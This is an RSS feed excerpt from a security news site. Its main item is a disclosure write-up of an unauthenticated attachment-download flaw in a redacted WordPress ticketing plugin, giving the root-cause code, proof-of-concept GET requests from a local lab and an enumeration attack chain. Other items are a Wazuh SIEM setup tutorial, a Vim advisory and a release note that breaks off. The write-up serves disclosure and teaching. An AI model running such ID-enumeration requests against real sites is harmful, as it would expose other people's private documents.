<description><![CDATA[I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really MeansAuthor: Shikhali JamalzadeGitHub: alisalive · LinkedIn: camalzadsDisclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker te...]]></description>
<link>https://tsecurity.de/de/3646320/hacking/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646320/hacking/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:15 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xavI1_sTm7sTpNEO_Vf7A.png"></figure><h3>I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really Means</h3><h4><strong>Author:</strong> <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br><strong>GitHub:</strong> <a href="https://github.com/alisalive">alisalive</a> · <strong>LinkedIn:</strong> <a href="https://linkedin.com/in/camalzads">camalzads</a></h4><blockquote><strong><em>Disclosure Notice:</em></strong><em> This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. The affected plugin’s name and the exact route are intentionally redacted here, because the underlying issue is currently being tracked through coordinated disclosure and may not yet be fully patched at the time of writing. This write-up is published strictly for educational purposes.</em></blockquote><h3>Background</h3><p>Most of my CVE research starts from one theory: a plugin whose developers made one authorization mistake will usually have made others, and the categories that leak most often are the ones tied to user-owned objects — tickets, attachments, profiles, orders. Broken Access Control is, by a wide margin, the single most productive class in the WordPress plugin ecosystem, and unauthenticated variants sit at the top of that list.</p><p>This time the target was a <strong>support-desk / ticketing plugin</strong> — the kind of software where customers upload invoices, ID scans, contracts, and screenshots straight into a ticket. If the endpoint that serves those attachments doesn’t check <em>who</em> is asking, the impact isn’t abstract: it’s other people’s private documents.</p><p>What follows is a fully independent, fully reproducible finding — and the moment, after submission, when I learned it overlapped with a report already sitting in a vulnerability database’s pipeline. I’m publishing the technical breakdown anyway, because the methodology and the honest reconciliation with prior art are the actual point of doing this in public.</p><h3>Scope &amp; Method</h3><ul><li><strong>Target:</strong> A WordPress support/ticketing plugin (redacted), latest-stable from WordPress.org</li><li><strong>Environment:</strong> Local, isolated Docker stack — WordPress + MySQL 5.7</li><li><strong>Assessment Type:</strong> White-box source audit + black-box PoC validation</li><li><strong>Authorization:</strong> Self-authorized, isolated local research environment — no live targets</li><li><strong>Tools:</strong> grep, WP-CLI, curl, docker, MySQL CLI</li></ul><h3>Phase 1: Target Confirmation</h3><p>Before touching anything, I confirmed exactly what I was auditing: the plugin name, its version, that it was active, and the WordPress version underneath it. This is the first screenshot in every submission I make, because a reviewer needs to know the finding was validated against a real, current install — not a hypothetical.</p><pre>=== TARGET CONFIRMATION ===<br>Plugin:    &lt;redacted&gt; (latest-stable)<br>Version:   &lt;redacted — current release at time of testing&gt;<br>Active:    YES<br>WordPress: 7.0<br>Site URL:  http://&lt;local-docker&gt;:8080</pre><p>The critical detail here: I was testing the <strong>current</strong> version. Not an old release with a known history — the newest code the plugin ships today.</p><h3>Phase 2: Mapping the Attack Surface</h3><p>The plugin exposes its functionality through a REST namespace. I exported the source via SVN and mapped every route, paying special attention to the permission callbacks — the functions WordPress calls to decide whether a request is allowed <em>before</em> the handler runs.</p><pre>grep -n "RegisterRestRoute\|permission" &lt;source&gt;/api/v1/&lt;controller&gt;.php</pre><p>One route stood out immediately — the handler that serves ticket and reply <strong>file attachments</strong>:</p><pre>$this-&gt;RegisterRestRoute(<br>    'GET',<br>    'file-dl/(?P&lt;type&gt;[a-zA-Z0-9-]+)/(?P&lt;id&gt;[0-9_]+)/(?P&lt;file&gt;[^/]+)',<br>    [$this, "file_dl"]<br>);</pre><p>Three attacker-controlled segments — a type selector, a numeric identifier, and a filename — feeding a file-download handler. Exactly the shape of an IDOR, <em>if</em> the permission gate is weak. So I read the gate.</p><h3>Phase 3: Root Cause</h3><p>The route’s permission logic resolved, for this particular download route, to a single unconditional line:</p><pre>} elseif ($route == "file-dl") {<br>    return true;<br>}</pre><p>That’s the whole bug. The permission callback returns true for the attachment-download route <strong>unconditionally</strong> — no authentication check, no nonce, no verification that the requester owns the ticket the file belongs to. Once that callback returns true, WordPress hands the request straight to the download handler, which reads the identifier and filename from the URL and returns the file.</p><p>Because the callback never looks at the current user, there is no notion of “your ticket” versus “someone else’s ticket.” Every attachment is reachable by everyone — including an anonymous visitor with no account at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpAnerehFINPi_d71dGXaQ.png"></figure><h3>Phase 4: Building an Isolated Test Environment</h3><p>To prove impact safely, I stood up a throwaway install rather than touching any live site: WordPress + MySQL 5.7 in Docker, the plugin installed from the dashboard, and a realistic victim scenario seeded by hand.</p><p>I created two synthetic victim artifacts, standing in for what a real customer would attach:</p><ul><li>A <strong>ticket attachment</strong> (type = T) containing a fake "confidential customer record."</li><li>A <strong>reply attachment</strong> (type = R) containing a fake "private invoice."</li></ul><pre>=== SETUP: victim ticket + reply attachments ===<br>[ticket attachment created — synthetic "customer record"]<br>[reply attachment created — synthetic "invoice"]<br>Files created: 2</pre><p>I also inserted the matching reply row into the plugin’s database table, because the reply-download path validates that a reply record exists before serving its file. This made the second attack vector reachable exactly as it would be on a real site.</p><h3>Phase 5: Proof of Concept</h3><h3>Vector 1 — Unauthenticated Ticket Attachment (type = T)</h3><p>From a session with <strong>no cookies, no auth header, no login</strong>, I requested the ticket attachment and filtered the output to show that the request carried no credentials and the server returned the file anyway:</p><pre>&gt; GET /wp-json/&lt;plugin&gt;/v1/ticket/file-dl/T/1/&lt;file&gt; HTTP/1.1<br>&gt; Host: &lt;local-docker&gt;<br>&lt; HTTP/1.1 200 OK<br>[SYNTHETIC CONFIDENTIAL RECORD RETURNED]</pre><p>No Cookie header. No Authorization header. HTTP 200, and the full attachment content in the response body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Amwgj9qEjLNevJjkzXtbFg.png"></figure><h3>Vector 2 — Unauthenticated Reply Attachment (type = R)</h3><p>The reply path uses a compound {ticketId}_{replyId} identifier. Same anonymous session, same result:</p><pre>&gt; GET /wp-json/&lt;plugin&gt;/v1/ticket/file-dl/R/1_1/&lt;file&gt; HTTP/1.1<br>&gt; Host: &lt;local-docker&gt;<br>&lt; HTTP/1.1 200 OK<br>[SYNTHETIC PRIVATE INVOICE RETURNED]</pre><p>Two independent download paths, both fully unauthenticated.</p><h3>Integrity Proof</h3><p>A 200 response proves the endpoint answered — but I wanted to prove the anonymous request returned the <em>actual victim file</em>, byte for byte, not a placeholder or an error page. So I compared the MD5 of the file on disk with the MD5 of what the unauthenticated request pulled down:</p><pre>--- [A] File on server (victim's attachment) ---<br>254e7a2a21c6d0d55fbc11fc08e30c18   &lt;server-side file&gt;</pre><pre>--- [B] Content retrieved via unauthenticated request ---<br>254e7a2a21c6d0d55fbc11fc08e30c18   &lt;downloaded file&gt;</pre><p>Identical hashes. Byte-for-byte exfiltration, from an anonymous session, confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lztI7rFSqfGIsOZPdtpkWg.png"></figure><h3>Why This Scales</h3><p>The identifiers are <strong>sequential integers</strong>. An attacker doesn’t need to guess — they increment. Combined with the fact that support tickets routinely carry personal data, invoices, and contracts, and that the plugin’s upload whitelist covers pdf, doc/docx, xls/xlsx, txt, and common image formats, a single unauthenticated loop over the ID space harvests attachments across every customer on the site.</p><p>Estimated severity: <strong>CVSS 3.1 7.5 (High)</strong> — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Network-reachable, no privileges, no interaction, high confidentiality impact.</p><h3>The Reality Check</h3><p>Before public disclosure I did what I always do now: I checked the vulnerability databases and I contacted the vendor.</p><p>The vendor email went out first — a responsible-disclosure notice with a summary of the issue and a request for a secure contact, deliberately <em>without</em> the full PoC in the first message. Then I submitted the finding to a CNA with the complete technical detail and requested a CVE.</p><p>The response was: <strong>duplicate.</strong></p><p>Not a duplicate of the plugin’s older, public authorization issues — those were a different, integrity-only problem on a different function. This was a duplicate of a <strong>separate report already in the CNA’s pipeline</strong>, covering exactly this unauthenticated attachment-download route and exactly this “permission callback returns true” root cause, already tracked with the confidentiality impact of returning full attachment contents to anonymous callers.</p><p>Someone had gotten there first, by a matter of weeks, into a queue I couldn’t see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*4qJhNuOGBEbGm_3ukmDEbA.png"></figure><h3>What I Was Told — and What It’s Worth</h3><p>Here’s the part that turned a rejection into something genuinely useful. The existing record was filed against an <strong>earlier version</strong>, and marked fixed in a later one. My finding reproduced on the <strong>current</strong> release — the one that was supposed to be patched.</p><p>The reviewer’s response was precise, and I’m quoting the substance of it because it reframed the whole finding for me: my confirmation that the issue <strong>still reproduces on the current version</strong>, together with the byte-for-byte MD5 proof, would be used to <strong>extend the affected-version range</strong> on the existing entry beyond the version it was originally filed against. Because it’s the same vulnerability and the same code path, it’s handled under the existing record rather than as a separate CVE.</p><p>So: no CVE with my name on it. But my independent reproduction demonstrated that a fix believed to close the issue <strong>did not</strong>, and that correction lands in the public record where it actually protects people. That’s not nothing. That’s the point of the work.</p><p>I want to be precise about what I’m claiming and what I’m not. I did not discover a novel bug here — I independently rediscovered a known one and proved it was still live where it was believed dead. The value isn’t novelty; it’s verification. Those are different contributions, and conflating them would be dishonest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYv4UU9Un9ZCuQuy78rK9w.png"></figure><h3>Attack Chain Summary</h3><pre>[Attacker — no credentials, no prior session]<br>        │<br>        ▼<br>[1] Map REST routes; find attachment-download handler<br>        │<br>        ▼<br>[2] Read permission callback → returns true unconditionally for file-dl<br>        │<br>        ▼<br>[3] Seed victim ticket + reply attachments in isolated Docker install<br>        │<br>        ▼<br>[4] GET file-dl/T/&lt;id&gt;/&lt;file&gt;  → HTTP 200, ticket attachment (no auth)<br>        │<br>        ▼<br>[5] GET file-dl/R/&lt;id&gt;/&lt;file&gt;  → HTTP 200, reply attachment (no auth)<br>        │<br>        ▼<br>[6] MD5(server file) == MD5(downloaded file) → byte-for-byte exfiltration<br>        │<br>        ▼<br>[7] Sequential IDs → enumerate → harvest attachments across all tickets</pre><h3>What This Taught Me</h3><p><strong>A “fixed in X” label is a claim, not a guarantee.</strong> The most valuable thing I did in this entire audit was test the <em>current</em> version instead of assuming the changelog was true. The issue was marked fixed; it wasn’t. Independent reproduction against the latest release is how that gets caught.</p><p><strong>Duplicate-by-pipeline is invisible until it isn’t.</strong> I checked every public database before submitting, and it was clean — because the report that duplicated mine wasn’t public yet. You cannot fully de-risk this. What you <em>can</em> do is target less-crowded plugins: the more popular the software, the more researchers are already circling it. Two of my findings that week collided with pipeline reports; both were popular plugins. The niche ones didn’t collide.</p><p><strong>Precision about your own contribution is a security skill.</strong> “I found a new bug,” “I independently rediscovered a known bug,” and “I proved a known bug wasn’t actually fixed” are three different sentences with three different truth values. Picking the correct one — especially when the flattering one is right there — is part of doing this honestly.</p><p><strong>The process transfers regardless of the outcome.</strong> Standing up an isolated environment, tracing an unauthenticated entry point to confirmed impact, building two independent PoCs, proving exfiltration with a hash rather than a screenshot alone — that skill set is identical whether the audit ends in a CVE or a “thanks, we’ll extend the range.”</p><p>If you found this useful, feel free to connect on <a href="http://linkedin.com/in/camalzads">LinkedIn </a>or check out my tools on <a href="http://github.com/alisalive">GitHub</a>.</p><p><em>All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research. The plugin name and exact route are redacted pending completion of coordinated disclosure.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=435e86868d04" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a-435e86868d04">I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh SIEM Deployment with Multi-OS Agents]]></title>
<description><![CDATA[Project OverviewThis project demonstrates the deployment of Wazuh, an open-source, industry-recognized SIEM and host-based intrusion detection platform, in a virtualized lab environment. Wazuh was selected for this project due to its wide adoption in security operations, strong community support,...]]></description>
<link>https://tsecurity.de/de/3646307/hacking/wazuh-siem-deployment-with-multi-os-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646307/hacking/wazuh-siem-deployment-with-multi-os-agents/</guid>
<pubDate>Sun, 05 Jul 2026 08:22:33 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Project Overview</h3><p>This project demonstrates the deployment of Wazuh, an open-source,<strong> </strong>industry-recognized SIEM and host-based intrusion detection platform, in a virtualized lab environment. Wazuh was selected for this project due to its wide adoption in security operations, strong community support, and alignment with real-world SOC practices.</p><p>A Wazuh Manager was installed on an Ubuntu system and configured to centrally monitor three endpoints: Windows, Kali Linux, and Ubuntu. Each endpoint was successfully enrolled as a Wazuh agent and configured to forward system logs and security events to the manager for analysis.</p><p>The project validates end-to-end log collection and visibility through the Wazuh web dashboard, demonstrating how security events from multiple operating systems can be centrally analyzed. This setup reflects a realistic enterprise monitoring scenario and highlights the effectiveness of Wazuh as a cost-effective, open-source security monitoring solution used across modern SOC environments.</p><h3>Tools Used</h3><ul><li><strong>Wazuh SIEM (Open Source):</strong> Centralized security monitoring, log collection, and host-based intrusion detection platform</li><li><strong>Ubuntu Server: </strong>Hosting the Wazuh Manager, Indexer, and Web Dashboard</li><li><strong>Windows</strong> : Endpoint monitored using the Wazuh agent (Agent 1)</li><li><strong>Kali Linux: </strong>Linux endpoint monitored using the Wazuh agent (Agent 2)</li><li><strong>Ubuntu: </strong>Linux endpoint monitored using the Wazuh agent (Agent 3)</li><li><strong>VMware Workstation: </strong>Virtualization platform used to host all systems</li><li><strong>Web Browser (Windows): </strong>Used to access the Wazuh web dashboard over HTTPS</li></ul><h3><strong>Wazuh Deployment</strong></h3><p>Wazuh was deployed on Ubuntu Server using the official all-in-one installation script, following the Wazuh deployment guide. <a href="https://documentation.wazuh.com/current/quickstart.html">Read here</a></p><pre>curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh &amp;&amp; sudo bash ./wazuh-install.sh -a</pre><p>This command installs all required dependencies along with the Wazuh Manager, Indexer, and Dashboard. Upon completion of the installation, a username and password are automatically generated for accessing the Wazuh web interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0AEIg9diazhMdLr1tFCj2Q.jpeg"></figure><h3><strong>Firewall Configuration</strong></h3><p>The firewall on the Wazuh server was configured to allow all Wazuh components to communicate properly, including agents, the dashboard, indexer, and Syslog. The following UFW rules were applied:</p><pre># Essential Wazuh ports<br>sudo ufw allow 1514/tcp   # Agent → Manager communication<br>sudo ufw allow 1515/tcp   # Agent enrollment<br>sudo ufw allow 443/tcp    # Wazuh Web Dashboard (HTTPS)<br><br># Optional ports for future use<br>sudo ufw allow 55000/tcp  # Wazuh API<br>sudo ufw allow 514/tcp    # Syslog collector<br>sudo ufw allow 22/tcp     # SSH access to server<br><br>sudo ufw enable - Enables the UFW firewall<br>sudo ufw status numbered - Displays the current firewall status and lists all active rules with numbering</pre><p><strong>Accessing the Wazuh Web Interface</strong></p><p>After the firewall was configured to allow all essential ports, the Wazuh web dashboard was accessed via a web browser. This interface provides centralized visibility into all connected agents, system events, and security alerts.</p><pre>https://192.168.79.145:443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgesWE_x72ThLyu7T2u6Zg.jpeg"></figure><p>Log in using the username and password generated during installation.</p><h3><strong>Agents Enrollment</strong></h3><p>To enroll an agent, navigate to Endpoints, Deploy new agents.</p><p><strong>Agent 1: Windows</strong></p><p>Step 1: Select windows architecture</p><p>Step 2: Enter the Wazuh Manager IP Address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XDcpPc3wF4_3kHmaFA46g.jpeg"></figure><p>Step 3: Set agent name (optional)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Pt49xAxtkU_j3ZPIQJANw.jpeg"></figure><p>Step 4: Copy and Run the Installation Command in Powershell. Run<strong> </strong>Powershell with administrator privileges</p><pre>Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.2-1.msi -OutFile $env:tmp\wazuh-agent; msiexec.exe /i $env:tmp\wazuh-agent /q WAZUH_MANAGER='192.168.79.145' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='Windows'</pre><p>Step 5: Still in Powershell, run this command to start Wazuh agent</p><pre>NET START Wazuh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Pip8lFhljVYCDMXbfWSTA.jpeg"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*PKtqPkx1byKQ7hbNWB3qSg.jpeg"></figure><p><strong>Agent 2: Kali Linux</strong></p><p>On the Deploy new agent;</p><p><strong>Step 1: Select the Operating System</strong></p><ul><li>Choose <strong>Linux</strong> as the target OS.</li><li>For Kali Linux, choose DEB amd64.</li></ul><p><strong>Step 2: Assign Server Address</strong></p><ul><li>Enter your Wazuh manager’s IP address:</li></ul><p><strong>Step 3: Set Agent Name (Optional)</strong></p><ul><li>Enter a unique agent name (Kali)</li></ul><p><strong>Step 4: Copy and run the installation command</strong></p><ul><li>The UI generates a command tailored to your inputs. Run it in your Kali terminal:</li></ul><pre>wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.2-1_amd64.deb &amp;&amp; sudo WAZUH_MANAGER='192.168.79.145' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='Kali' dpkg -i ./wazuh-agent_4.14.2–1_amd64.deb</pre><p><strong>Step 5: Start and Enable the Agent</strong></p><p>Run the following commands to activate the agent:</p><pre>sudo systemctl daemon-reload<br>sudo systemctl enable wazuh-agent<br>sudo systemctl start wazuh-agent</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*yXEvvJC8fb3hn9POaHkGdA.jpeg"></figure><p><strong>Agent 3: Ubuntu</strong></p><p>Repeat the same steps as Agent 2</p><p><strong>Copy and run the installation command</strong></p><ul><li>The UI generates a command tailored to your inputs. Run it in your Ubuntu terminal:</li></ul><pre>wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.2-1_amd64.deb &amp;&amp; sudo WAZUH_MANAGER='192.168.79.145' WAZUH_AGENT_GROUP='default' WAZUH_AGENT_NAME='Ubuntu' dpkg -i ./wazuh-agent_4.14.2-1_amd64.deb</pre><p><strong>Start and Enable the Agent</strong></p><p>Run the following commands to activate the agent:</p><pre>sudo systemctl daemon-reload<br>sudo systemctl enable wazuh-agent<br>sudo systemctl start wazuh-agent</pre><p><strong>Dashboard of all Enrolled Agents</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVedJg8zql98glxWBS5wZg.jpeg"></figure><h3>Conclusion</h3><p>Through the deployment and configuration of Wazuh, I successfully set up a centralized security monitoring environment with multiple agents across Windows, Kali Linux, and Ubuntu. Wazuh provides real-time visibility into system events, log collection, and threat detection, making it a robust and open-source industry-standard SIEM solution. Beyond log monitoring, Wazuh can be leveraged for File Integrity Monitoring (FIM) to track changes in critical files and directories, detect unauthorized modifications, and alert security teams.</p><p>Additionally, it integrates seamlessly with other security tools and services, such as Syslog for centralized logging, SSH for remote administration, and custom APIs for automated workflows, enabling comprehensive and proactive security operations.</p><p>This setup serves as a foundation for future projects, where I plan to expand Wazuh’s capabilities with additional agents, advanced detection rules, integrations with threat intelligence feeds, and custom security automation workflows to simulate real-world SOC scenarios.</p><p>Many thanks to <a href="https://medium.com/u/f6fc6f913781">Efam Harris</a> 🫡</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=09e80e1821e9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/wazuh-siem-deployment-with-multi-os-agents-09e80e1821e9">Wazuh SIEM Deployment with Multi-OS Agents</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion]]></title>
<description><![CDATA[A hands-free NVIDIA agent framework hosts each RTL problem as a versioned repository, reaching 100% completion across benchmarks.
The post NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion appeared first on MarkTechPost.]]></description>
<link>https://tsecurity.de/de/3645601/ai-nachrichten/nvidia-horizon-a-hands-free-agent-that-evolves-git-worktrees-and-hits-100-rtl-benchmark-completion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645601/ai-nachrichten/nvidia-horizon-a-hands-free-agent-that-evolves-git-worktrees-and-hits-100-rtl-benchmark-completion/</guid>
<pubDate>Sat, 04 Jul 2026 18:19:16 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A hands-free NVIDIA agent framework hosts each RTL problem as a versioned repository, reaching 100% completion across benchmarks.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/04/nvidia-horizon-a-hands-free-agent-that-evolves-git-worktrees-and-hits-100-rtl-benchmark-completion/">NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8500-1: Vim vulnerabilities]]></title>
<description><![CDATA[It was discovered that Vim incorrectly handled path traversal in the
zip.vim plugin. An attacker could possibly use this issue to overwrite
arbitrary files. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04
LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS.
(CVE-2026-35177)

It ...]]></description>
<link>https://tsecurity.de/de/3642064/unix-server/usn-8500-1-vim-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642064/unix-server/usn-8500-1-vim-vulnerabilities/</guid>
<pubDate>Thu, 02 Jul 2026 21:01:13 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that Vim incorrectly handled path traversal in the
zip.vim plugin. An attacker could possibly use this issue to overwrite
arbitrary files. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04
LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS.
(CVE-2026-35177)

It was discovered that Vim incorrectly handled depth tracking when
processing spell files. An attacker could possibly use this issue to cause
a denial of service. (CVE-2026-55693, CVE-2026-55892)

It was discovered that Vim incorrectly handled filename escaping in the
netrw plugin. An attacker could possibly use this issue to execute
arbitrary code. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04
LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 25.10,
and Ubuntu 26.04 LTS. (CVE-2026-55895)

It was discovered that Vim incorrectly handled length calculations when
opening encrypted files. An attacker could possibly use this issue to cause
a denial of service. This issue only affected Ubuntu 22.04 LTS, Ubuntu
24.04 LTS, Ubuntu 25.10, and Ubuntu 26.04 LTS. (CVE-2026-57452)

Dhruv Vishesh Gupta discovered that Vim incorrectly handled quoting of
archive entry names. An attacker could possibly use this issue to execute
arbitrary code. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-57453)

It was discovered that Vim incorrectly handled bounds checking when
translating words through a byte map. An attacker could possibly use this
issue to cause a denial of service. (CVE-2026-57455)

Chenyuan Mi discovered that Vim incorrectly handled docstring escaping
during Python omni-completion. An attacker could possibly use this issue to
execute arbitrary code. (CVE-2026-57456)]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release]]></title>
<description><![CDATA[Hermes Agent v0.18.0 (v2026.7.1)
Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all...]]></description>
<link>https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/</guid>
<pubDate>Wed, 01 Jul 2026 22:16:35 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.18.0 (v2026.7.1)</h1>
<p><strong>Release Date:</strong> July 1, 2026<br>
<strong>Since v0.17.0:</strong> ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · <strong>949 issues closed</strong> · <strong>370+ community contributors</strong></p>
<blockquote>
<p><strong>The Judgment Release.</strong> Over the last week and a half the team put nearly all of its effort into one goal: resolve <strong>every P0 and P1 issue and PR in the entire Hermes Agent repo</strong> — and as of this release, <strong>100% of them are closed.</strong> Zero open P0s. Zero open P1s. That's <strong>~700 highest-priority items</strong> cleared as part of <strong>~1,950 total issues and PRs closed</strong> this window. We intend to keep P0/P1 at zero from here on.</p>
<p>On top of that clean-sweep, v0.18.0 is about how <em>well</em> Hermes thinks and how it <em>knows when its work is actually done</em>. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, <code>/goal</code> gained completion contracts, and <code>/learn</code> + <code>/journey</code> turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.</p>
</blockquote>
<h2>🎯 The P0/P1 Clean Sweep — 100% resolved</h2>
<p>This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:</p>
<table>
<thead>
<tr>
<th>Priority</th>
<th>Issues closed</th>
<th>PRs merged</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>P0</strong> (critical)</td>
<td>3</td>
<td>8</td>
</tr>
<tr>
<td><strong>P1</strong> (high)</td>
<td>493</td>
<td>188</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>496</strong></td>
<td><strong>196</strong></td>
</tr>
</tbody>
</table>
<p>That's <strong>~692 highest-priority items resolved</strong> in twelve days — and at the moment the sweep completed, the open P0/P1 count hit <strong>0 across the entire repo.</strong> The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785584067" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56391" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/56391/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/56391">#56391</a>) and its fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785996667" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/56416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56416/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/56416">#56416</a>), closed on an all-nighter right before this release cut.</p>
<p>Special shoutout to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a></strong>, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.</p>
<p>We're keeping P0/P1 at <strong>0</strong> from here forward. 🫡</p>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Mixture-of-Agents is now a first-class model you can pick</strong> — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a <code>moa</code> provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/46081" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46081/hovercard">#46081</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53548" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53548/hovercard">#53548</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53561/hovercard">#53561</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 